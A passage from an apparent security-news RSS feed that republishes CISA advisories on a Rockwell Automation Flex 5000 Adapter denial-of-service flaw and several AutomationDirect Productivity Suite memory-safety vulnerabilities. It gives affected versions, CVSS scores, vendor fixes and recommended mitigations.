<p><strong>Successful exploitation of this vulnerability could allow an attacker to cause a denial-of-service condition on the affected product.</strong></p>
<p>The following versions of Rockwell Automation Flex 5000 Adapter are affected:</p>
<ul>
<li>Flex 5000 Adapter 6.011 (CVE-2026-12659)</li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 7.5</td>
<td>Rockwell Automation</td>
<td>Rockwell Automation Flex 5000 Adapter</td>
<td>Double Free</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Critical Manufacturing, Information Technology</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>United States</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-12659</a></h3>
<div class="csaf-accordion-content">
<p>A denial-of-service security issue exists in the affected products. The security issue stems from improper handling of exceptional conditions when processing crafted CIP packets sent to the adapter. A power cycle is required to recover the module and associated I/O.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-12659">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Rockwell Automation Flex 5000 Adapter</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Rockwell Automation</div>
<div class="ics-version"><strong>Product Version:</strong><br>Rockwell Automation Flex 5000 Adapter: 6.011</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Rockwell Automation recommends users to upgrade to the following: Flex 5000 Adapter version 6.012.</p>
<p><strong>Mitigation</strong><br>Customers using the affected software, who are not able to upgrade to one of the corrected versions, should use Rockwell Automation's security best practices (https://support.rockwellautomation.com/app/answers/answer_view/a_id/1085012/loc/en_US#__highlight).<br><a href="https://support.rockwellautomation.com/app/answers/answer_view/a_id/1085012/loc/en_US#__highlight">https://support.rockwellautomation.com/app/answers/answer_view/a_id/1085012/loc/en_US#__highlight</a></p>
<p><strong>Mitigation</strong><br>For more information, see Rockwell Automation Security Advisory SD1789 (https://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.SD1789.html).<br><a href="https://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.SD1789.html">https://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.SD1789.html</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/415.html">CWE-415 Double Free</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>8.7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Rockwell Automation reported this vulnerability to CISA</li>
</ul>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take defensive measures to minimize the risk of exploitation of this vulnerability.</p>
<p>Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the internet.</p>
<p>Locate control system networks and remote devices behind firewalls and isolating them from business networks.</p>
<p>When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.</p>
<p>Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<p>CISA also recommends users take the following measures to protect themselves from social engineering attacks:</p>
<p>Do not click web links or open attachments in unsolicited email messages.</p>
<p>Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.</p>
<p>Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.</p>
<p>No known public exploitation specifically targeting this vulnerability has been reported to CISA at this time.</p>
<hr>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-07-16</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-07-16</td>
<td>1</td>
<td>Initial Republication of Rockwell Automation Security Advisory SD1789</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[AutomationDirect Productivity Suite]]></title>
<description><![CDATA[View CSAF
Summary
Successful exploitation of these vulnerabilities could allow an attacker with local or physical access to cause memory corruption, unintended information disclosure, application instability, or a denial-of-service condition in the affected product.
The following versions of Auto...]]></description>
<link>https://tsecurity.de/de/3674157/it-security-nachrichten/automationdirect-productivity-suite/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674157/it-security-nachrichten/automationdirect-productivity-suite/</guid>
<pubDate>Thu, 16 Jul 2026 18:42:01 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-197-04.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>Successful exploitation of these vulnerabilities could allow an attacker with local or physical access to cause memory corruption, unintended information disclosure, application instability, or a denial-of-service condition in the affected product.</strong></p>
<p>The following versions of AutomationDirect Productivity Suite are affected:</p>
<ul>
<li>Productivity Suite &lt;=v4.6.2.2 (CVE-2026-60063, CVE-2026-61389, CVE-2026-60140, CVE-2026-57896, CVE-2026-60073, CVE-2026-61378)</li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 7</td>
<td>AutomationDirect</td>
<td>AutomationDirect Productivity Suite</td>
<td>Out-of-bounds Write, Out-of-bounds Read, Divide By Zero</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Critical Manufacturing</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>United States</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-60063</a></h3>
<div class="csaf-accordion-content">
<p>An out-of-bounds write vulnerability in the Productivity Suite allows a local attacker to trigger kernel memory corruption via a crafted IOCTL request, potentially resulting in privilege escalation or system instability.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-60063">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>AutomationDirect Productivity Suite</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>AutomationDirect</div>
<div class="ics-version"><strong>Product Version:</strong><br>AutomationDirect Productivity Suite: &lt;=v4.6.2.2</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>AutomationDirect recommends that users update Productivity suite to v4.7.0.47 and above https://www.automationdirect.com/support/software-downloads.<br><a href="https://www.automationdirect.com/support/software-downloads">https://www.automationdirect.com/support/software-downloads</a></p>
<p><strong>Mitigation</strong><br>If the update cannot be applied right away, the following compensating controls are recommended until the upgrade can be performed.</p>
<p><strong>Mitigation</strong><br>Disconnect the engineering workstation from external networks (e.g., the internet or corporate LAN) to reduce exposure.</p>
<p><strong>Mitigation</strong><br>Use only trusted, dedicated internal networks or air-gapped systems for device communication.</p>
<p><strong>Mitigation</strong><br>Restrict both physical and logical access to authorized personnel only.</p>
<p><strong>Mitigation</strong><br>Configure whitelisting so that only trusted, pre-approved applications are allowed to run. Block any unauthorized software.</p>
<p><strong>Mitigation</strong><br>Use antivirus or EDR tools and configure host-based firewalls to block unauthorized access attempts.</p>
<p><strong>Mitigation</strong><br>Enable and regularly review system logs to detect suspicious or unauthorized activity.</p>
<p><strong>Mitigation</strong><br>Maintain secure, tested backups of the PLC and its configurations to minimize downtime in case of an incident.</p>
<p><strong>Mitigation</strong><br>Continuously evaluate risks associated with running outdated firmware and adjust compensating measures accordingly.</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/787.html">CWE-787 Out-of-bounds Write</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>7.3</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:L/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:L/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-61389</a></h3>
<div class="csaf-accordion-content">
<p>An out-of-bounds write vulnerability in the Productivity Suite allows a local attacker to trigger kernel memory corruption via a crafted IOCTL request, potentially resulting in privilege escalation or system instability.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-61389">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>AutomationDirect Productivity Suite</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>AutomationDirect</div>
<div class="ics-version"><strong>Product Version:</strong><br>AutomationDirect Productivity Suite: &lt;=v4.6.2.2</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>AutomationDirect recommends that users update Productivity suite to v4.7.0.47 and above https://www.automationdirect.com/support/software-downloads.<br><a href="https://www.automationdirect.com/support/software-downloads">https://www.automationdirect.com/support/software-downloads</a></p>
<p><strong>Mitigation</strong><br>If the update cannot be applied right away, the following compensating controls are recommended until the upgrade can be performed.</p>
<p><strong>Mitigation</strong><br>Disconnect the engineering workstation from external networks (e.g., the internet or corporate LAN) to reduce exposure.</p>
<p><strong>Mitigation</strong><br>Use only trusted, dedicated internal networks or air-gapped systems for device communication.</p>
<p><strong>Mitigation</strong><br>Restrict both physical and logical access to authorized personnel only.</p>
<p><strong>Mitigation</strong><br>Configure whitelisting so that only trusted, pre-approved applications are allowed to run. Block any unauthorized software.</p>
<p><strong>Mitigation</strong><br>Use antivirus or EDR tools and configure host-based firewalls to block unauthorized access attempts.</p>
<p><strong>Mitigation</strong><br>Enable and regularly review system logs to detect suspicious or unauthorized activity.</p>
<p><strong>Mitigation</strong><br>Maintain secure, tested backups of the PLC and its configurations to minimize downtime in case of an incident.</p>
<p><strong>Mitigation</strong><br>Continuously evaluate risks associated with running outdated firmware and adjust compensating measures accordingly.</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/787.html">CWE-787 Out-of-bounds Write</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>7.3</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:L/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:L/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-60140</a></h3>
<div class="csaf-accordion-content">
<p>An out-of-bounds read vulnerability in the Productivity Suite allows a local attacker to trigger kernel memory corruption by sending a crafted IOCTL request. This can lead to exposing sensitive information or causing the affected product to become unstable or unavailable.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-60140">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>AutomationDirect Productivity Suite</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>AutomationDirect</div>
<div class="ics-version"><strong>Product Version:</strong><br>AutomationDirect Productivity Suite: &lt;=v4.6.2.2</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>AutomationDirect recommends that users update Productivity suite to v4.7.0.47 and above https://www.automationdirect.com/support/software-downloads.<br><a href="https://www.automationdirect.com/support/software-downloads">https://www.automationdirect.com/support/software-downloads</a></p>
<p><strong>Mitigation</strong><br>If the update cannot be applied right away, the following compensating controls are recommended until the upgrade can be performed.</p>
<p><strong>Mitigation</strong><br>Disconnect the engineering workstation from external networks (e.g., the internet or corporate LAN) to reduce exposure.</p>
<p><strong>Mitigation</strong><br>Use only trusted, dedicated internal networks or air-gapped systems for device communication.</p>
<p><strong>Mitigation</strong><br>Restrict both physical and logical access to authorized personnel only.</p>
<p><strong>Mitigation</strong><br>Configure whitelisting so that only trusted, pre-approved applications are allowed to run. Block any unauthorized software.</p>
<p><strong>Mitigation</strong><br>Use antivirus or EDR tools and configure host-based firewalls to block unauthorized access attempts.</p>
<p><strong>Mitigation</strong><br>Enable and regularly review system logs to detect suspicious or unauthorized activity.</p>
<p><strong>Mitigation</strong><br>Maintain secure, tested backups of the PLC and its configurations to minimize downtime in case of an incident.</p>
<p><strong>Mitigation</strong><br>Continuously evaluate risks associated with running outdated firmware and adjust compensating measures accordingly.</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/125.html">CWE-125 Out-of-bounds Read</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.1</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>6.9</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-57896</a></h3>
<div class="csaf-accordion-content">
<p>An out-of-bounds read vulnerability in the Productivity Suite allows a local attacker to trigger kernel memory corruption by sending a crafted IOCTL request. This could lead to limited information disclosure or disruption of the affected product.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-57896">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>AutomationDirect Productivity Suite</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>AutomationDirect</div>
<div class="ics-version"><strong>Product Version:</strong><br>AutomationDirect Productivity Suite: &lt;=v4.6.2.2</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>AutomationDirect recommends that users update Productivity suite to v4.7.0.47 and above https://www.automationdirect.com/support/software-downloads.<br><a href="https://www.automationdirect.com/support/software-downloads">https://www.automationdirect.com/support/software-downloads</a></p>
<p><strong>Mitigation</strong><br>If the update cannot be applied right away, the following compensating controls are recommended until the upgrade can be performed.</p>
<p><strong>Mitigation</strong><br>Disconnect the engineering workstation from external networks (e.g., the internet or corporate LAN) to reduce exposure.</p>
<p><strong>Mitigation</strong><br>Use only trusted, dedicated internal networks or air-gapped systems for device communication.</p>
<p><strong>Mitigation</strong><br>Restrict both physical and logical access to authorized personnel only.</p>
<p><strong>Mitigation</strong><br>Configure whitelisting so that only trusted, pre-approved applications are allowed to run. Block any unauthorized software.</p>
<p><strong>Mitigation</strong><br>Use antivirus or EDR tools and configure host-based firewalls to block unauthorized access attempts.</p>
<p><strong>Mitigation</strong><br>Enable and regularly review system logs to detect suspicious or unauthorized activity.</p>
<p><strong>Mitigation</strong><br>Maintain secure, tested backups of the PLC and its configurations to minimize downtime in case of an incident.</p>
<p><strong>Mitigation</strong><br>Continuously evaluate risks associated with running outdated firmware and adjust compensating measures accordingly.</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/125.html">CWE-125 Out-of-bounds Read</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.1</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>6.9</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-60073</a></h3>
<div class="csaf-accordion-content">
<p>An out-of-bounds read in the Productivity Suite allows a physical attacker to control the length of data sent to a USB device. This can lead to a system crash or disclosure of kernel memory.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-60073">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>AutomationDirect Productivity Suite</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>AutomationDirect</div>
<div class="ics-version"><strong>Product Version:</strong><br>AutomationDirect Productivity Suite: &lt;=v4.6.2.2</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>AutomationDirect recommends that users update Productivity suite to v4.7.0.47 and above https://www.automationdirect.com/support/software-downloads.<br><a href="https://www.automationdirect.com/support/software-downloads">https://www.automationdirect.com/support/software-downloads</a></p>
<p><strong>Mitigation</strong><br>If the update cannot be applied right away, the following compensating controls are recommended until the upgrade can be performed.</p>
<p><strong>Mitigation</strong><br>Disconnect the engineering workstation from external networks (e.g., the internet or corporate LAN) to reduce exposure.</p>
<p><strong>Mitigation</strong><br>Use only trusted, dedicated internal networks or air-gapped systems for device communication.</p>
<p><strong>Mitigation</strong><br>Restrict both physical and logical access to authorized personnel only.</p>
<p><strong>Mitigation</strong><br>Configure whitelisting so that only trusted, pre-approved applications are allowed to run. Block any unauthorized software.</p>
<p><strong>Mitigation</strong><br>Use antivirus or EDR tools and configure host-based firewalls to block unauthorized access attempts.</p>
<p><strong>Mitigation</strong><br>Enable and regularly review system logs to detect suspicious or unauthorized activity.</p>
<p><strong>Mitigation</strong><br>Maintain secure, tested backups of the PLC and its configurations to minimize downtime in case of an incident.</p>
<p><strong>Mitigation</strong><br>Continuously evaluate risks associated with running outdated firmware and adjust compensating measures accordingly.</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/125.html">CWE-125 Out-of-bounds Read</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.9</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:P/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H">CVSS:3.1/AV:P/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>5.2</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:P/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:P/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-61378</a></h3>
<div class="csaf-accordion-content">
<p>A divide-by-zero vulnerability in the Productivity Suite allows a local attacker to cause a division by zero leading to a system crash.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-61378">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>AutomationDirect Productivity Suite</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>AutomationDirect</div>
<div class="ics-version"><strong>Product Version:</strong><br>AutomationDirect Productivity Suite: &lt;=v4.6.2.2</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>AutomationDirect recommends that users update Productivity suite to v4.7.0.47 and above https://www.automationdirect.com/support/software-downloads.<br><a href="https://www.automationdirect.com/support/software-downloads">https://www.automationdirect.com/support/software-downloads</a></p>
<p><strong>Mitigation</strong><br>If the update cannot be applied right away, the following compensating controls are recommended until the upgrade can be performed.</p>
<p><strong>Mitigation</strong><br>Disconnect the engineering workstation from external networks (e.g., the internet or corporate LAN) to reduce exposure.</p>
<p><strong>Mitigation</strong><br>Use only trusted, dedicated internal networks or air-gapped systems for device communication.</p>
<p><strong>Mitigation</strong><br>Restrict both physical and logical access to authorized personnel only.</p>
<p><strong>Mitigation</strong><br>Configure whitelisting so that only trusted, pre-approved applications are allowed to run. Block any unauthorized software.</p>
<p><strong>Mitigation</strong><br>Use antivirus or EDR tools and configure host-based firewalls to block unauthorized access attempts.</p>
<p><strong>Mitigation</strong><br>Enable and regularly review system logs to detect suspicious or unauthorized activity.</p>
<p><strong>Mitigation</strong><br>Maintain secure, tested backups of the PLC and its configurations to minimize downtime in case of an incident.</p>
<p><strong>Mitigation</strong><br>Continuously evaluate risks associated with running outdated firmware and adjust compensating measures accordingly.</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/369.html">CWE-369 Divide By Zero</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>6.8</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Luca Borzacchiello of Nozomi Networks reported these vulnerabilities to CISA</li>
</ul>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take defensive measures to minimize the risk of exploitation of these vulnerabilities.</p>
<p>Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the internet.</p>
<p>Locate control system networks and remote devices behind firewalls and isolating them from business networks.</p>
<p>When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.</p>
